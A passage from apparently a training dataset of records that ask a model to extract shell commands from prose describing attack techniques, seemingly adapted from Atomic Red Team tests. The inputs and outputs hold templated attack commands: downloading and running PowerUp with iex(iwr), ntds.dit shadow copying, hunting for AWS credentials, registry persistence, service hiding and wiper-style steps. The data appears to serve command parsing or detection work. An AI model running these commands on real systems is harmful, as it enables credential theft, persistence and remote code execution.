`\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    If you suspect malicious activity, you should remove hidden administrative shares with the command: for %i in (C$ IPC$ ADMIN$) do net share %i /delete; To perform a scan of common directories and file paths on a target system, use the following command:\nImport-Module \"PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1\"\nInvoke-WordlistScan -Target \"#{target}\" -Wordlist \"#{wordlist}\" -Timeout \"#{request_timeout}\" -OutputFile \"#{output_file}\"\nWrite-Host \"Scan complete. Results saved to: #{output_file}\"\n",
    "output": "{\"command_list\": [\"for %i in (C$ IPC$ ADMIN$) do net share %i /delete\", \"Import-Module \\\"PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1\\\"\\nInvoke-WordlistScan -Target \\\"#{target}\\\" -Wordlist \\\"#{wordlist}\\\" -Timeout \\\"#{request_timeout}\\\" -OutputFile \\\"#{output_file}\\\"\\nWrite-Host \\\"Scan complete. Results saved to: #{output_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In FreeBSD, you can configure the SetUID flag for a file with this sequence of commands: sudo touch #{file_to_setuid}\nsudo chown root #{file_to_setuid}\nsudo chmod u+xs #{file_to_setuid}\n; In FreeBSD, you can enable the SetUID flag on a file with this sequence of commands: touch #{file_to_setuid}\nchown root #{file_to_setuid}\nchmod u+xs #{file_to_setuid}\n",
    "output": "{\"command_list\": [\"sudo touch #{file_to_setuid}\\nsudo chown root #{file_to_setuid}\\nsudo chmod u+xs #{file_to_setuid}\\n\", \"touch #{file_to_setuid}\\nchown root #{file_to_setuid}\\nchmod u+xs #{file_to_setuid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The local computer's installed drivers can be examined, with verbose output and signed driver details, via these commands: driverquery /v /fo list\ndriverquery /si /fo list; You can load a Linux kernel module by executing this command: sudo insmod #{module_path}",
    "output": "{\"command_list\": [\"driverquery /v /fo list\\ndriverquery /si /fo list\\n\", \"sudo insmod #{module_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This creates a batch script in the temp directory and adds a registry entry, which can be executed with the command:\necho \"#{script_command}\" > #{script_path}\nREG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"#{script_path}\" /f\n; This test adds persistence by modifying the Outlook Home Page settings, causing the payload to execute when the folder is opened, with the command: reg.exe add HKCU\\Software\\Microsoft\\Office\\#{outlook_version}\\Outlook\\WebView\\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f",
    "output": "{\"command_list\": [\"echo \\\"#{script_command}\\\" > #{script_path}\\nREG.exe ADD HKCU\\\\Environment /v UserInitMprLogonScript /t REG_SZ /d \\\"#{script_path}\\\" /f\\n\", \"reg.exe add HKCU\\\\Software\\\\Microsoft\\\\Office\\\\#{outlook_version}\\\\Outlook\\\\WebView\\\\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For a temporary system change to clear paging cache (referenced in Awfulshred's attack), execute this command: free && echo 3 > /proc/sys/vm/drop_caches && free\necho 3> /proc/sys/vm/drop_caches; The Awfulshred wiper employed this method to ensure no recoverable data remains, which you can replicate using these commands: swapon -a \nsleep 2\nswapoff -a\nsync\n",
    "output": "{\"command_list\": [\"free && echo 3 > /proc/sys/vm/drop_caches && free\\necho 3> /proc/sys/vm/drop_caches \\n\", \"swapon -a \\nsleep 2\\nswapoff -a\\nsync\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a user with a username that has a trailing space, use the following command: New-LocalUser -Name \"Administrator \" -NoPassword; This technique involves creating a service and altering its security descriptor via sc.exe, effectively hiding it from standard service queries. Execute these commands to implement it:\nsc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"",
    "output": "{\"command_list\": [\"New-LocalUser -Name \\\"Administrator \\\" -NoPassword\", \"sc.exe create #{service_name} binPath= \\\"#{executable_command}\\\"\\nsc sdset #{service_name} \\\"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a Volume Shadow Copy for ntds.dit extraction on a domain controller, execute the following sequence: mkdir c:\\exfil\ndiskshadow.exe /s #{filename}\n; To locate local AWS credentials within a specified directory, you can use the following command: find #{file_path}/.aws -name \"credentials\" -type f 2>/dev/null",
    "output": "{\"command_list\": [\"mkdir c:\\\\exfil\\ndiskshadow.exe /s #{filename}\\n\", \"find #{file_path}/.aws -name \\\"credentials\\\" -type f 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp 